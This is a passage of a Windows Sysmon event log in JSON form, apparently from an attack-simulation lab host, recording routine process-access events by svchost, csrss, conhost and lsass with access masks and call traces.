AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.662\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.662","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4280,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.662\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.662","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4281,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.662\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.662","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4282,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.662\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-413A-5F2D-0000-0010D50A0600}\r\nTargetProcessId: 3148\r\nTargetImage: C:\\Windows\\system32\\conhost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.662","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-413A-5F2D-0000-0010D50A0600}","TargetProcessId":"3148","TargetImage":"C:\\Windows\\system32\\conhost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4283,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.662\r\nSourceProcessGUID: {90617006-413A-5F2D-0000-0010D50A0600}\r\nSourceProcessId: 3148\r\nSourceThreadId: 2512\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-413A-5F2D-0000-0010550A0600}\r\nTargetProcessId: 2804\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.662","SourceProcessGUID":"{90617006-413A-5F2D-0000-0010D50A0600}","SourceProcessId":"3148","SourceThreadId":"2512","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-413A-5F2D-0000-0010550A0600}","TargetProcessId":"2804","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4284,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.678\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-413A-5F2D-0000-0010550A0600}\r\nTargetProcessId: 2804\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.678","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-413A-5F2D-0000-0010550A0600}","TargetProcessId":"2804","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4285,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.693\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nSourceProcessId: 1368\r\nSourceThreadId: 2008\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-413A-5F2D-0000-0010550A0600}\r\nTargetProcessId: 2804\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x40\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\winrscmd.dll+8d36|C:\\Windows\\system32\\winrscmd.dll+92d5|C:\\Windows\\system32\\winrscmd.dll+af31|C:\\Windows\\system32\\winrscmd.dll+23dc|c:\\windows\\system32\\wsmsvc.dll+155ac7|c:\\windows\\system32\\wsmsvc.dll+13f76d|c:\\windows\\system32\\wsmsvc.dll+13f3cf|c:\\windows\\system32\\wsmsvc.dll+13fcb2|c:\\windows\\system32\\wsmsvc.dll+9ab10|c:\\windows\\system32\\wsmsvc.dll+9b611|c:\\windows\\system32\\wsmsvc.dll+4495|c:\\windows\\system32\\wsmsvc.dll+16816c|c:\\windows\\system32\\wsmsvc.dll+1689b8|c:\\windows\\system32\\wsmsvc.dll+16345b|c:\\windows\\system32\\wsmsvc.dll+163125|c:\\windows\\system32\\wsmsvc.dll+14ce9c|c:\\windows\\system32\\wsmsvc.dll+130049|c:\\windows\\system32\\wsmsvc.dll+13571a|c:\\windows\\system32\\wsmsvc.dll+12f47e|c:\\windows\\system32\\wsmsvc.dll+125587|c:\\windows\\system32\\wsmsvc.dll+11f562|c:\\windows\\system32\\wsmsvc.dll+124574","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.693","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","SourceProcessId":"1368","SourceThreadId":"2008","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-413A-5F2D-0000-0010550A0600}","TargetProcessId":"2804","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x40","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\winrscmd.dll+8d36|C:\\Windows\\system32\\winrscmd.dll+92d5|C:\\Windows\\system32\\winrscmd.dll+af31|C:\\Windows\\system32\\winrscmd.dll+23dc|c:\\windows\\system32\\wsmsvc.dll+155ac7|c:\\windows\\system32\\wsmsvc.dll+13f76d|c:\\windows\\system32\\wsmsvc.dll+13f3cf|c:\\windows\\system32\\wsmsvc.dll+13fcb2|c:\\windows\\system32\\wsmsvc.dll+9ab10|c:\\windows\\system32\\wsmsvc.dll+9b611|c:\\windows\\system32\\wsmsvc.dll+4495|c:\\windows\\system32\\wsmsvc.dll+16816c|c:\\windows\\system32\\wsmsvc.dll+1689b8|c:\\windows\\system32\\wsmsvc.dll+16345b|c:\\windows\\system32\\wsmsvc.dll+163125|c:\\windows\\system32\\wsmsvc.dll+14ce9c|c:\\windows\\system32\\wsmsvc.dll+130049|c:\\windows\\system32\\wsmsvc.dll+13571a|c:\\windows\\system32\\wsmsvc.dll+12f47e|c:\\windows\\system32\\wsmsvc.dll+125587|c:\\windows\\system32\\wsmsvc.dll+11f562|c:\\windows\\system32\\wsmsvc.dll+124574","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4286,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.709\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.709","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4287,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.709\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 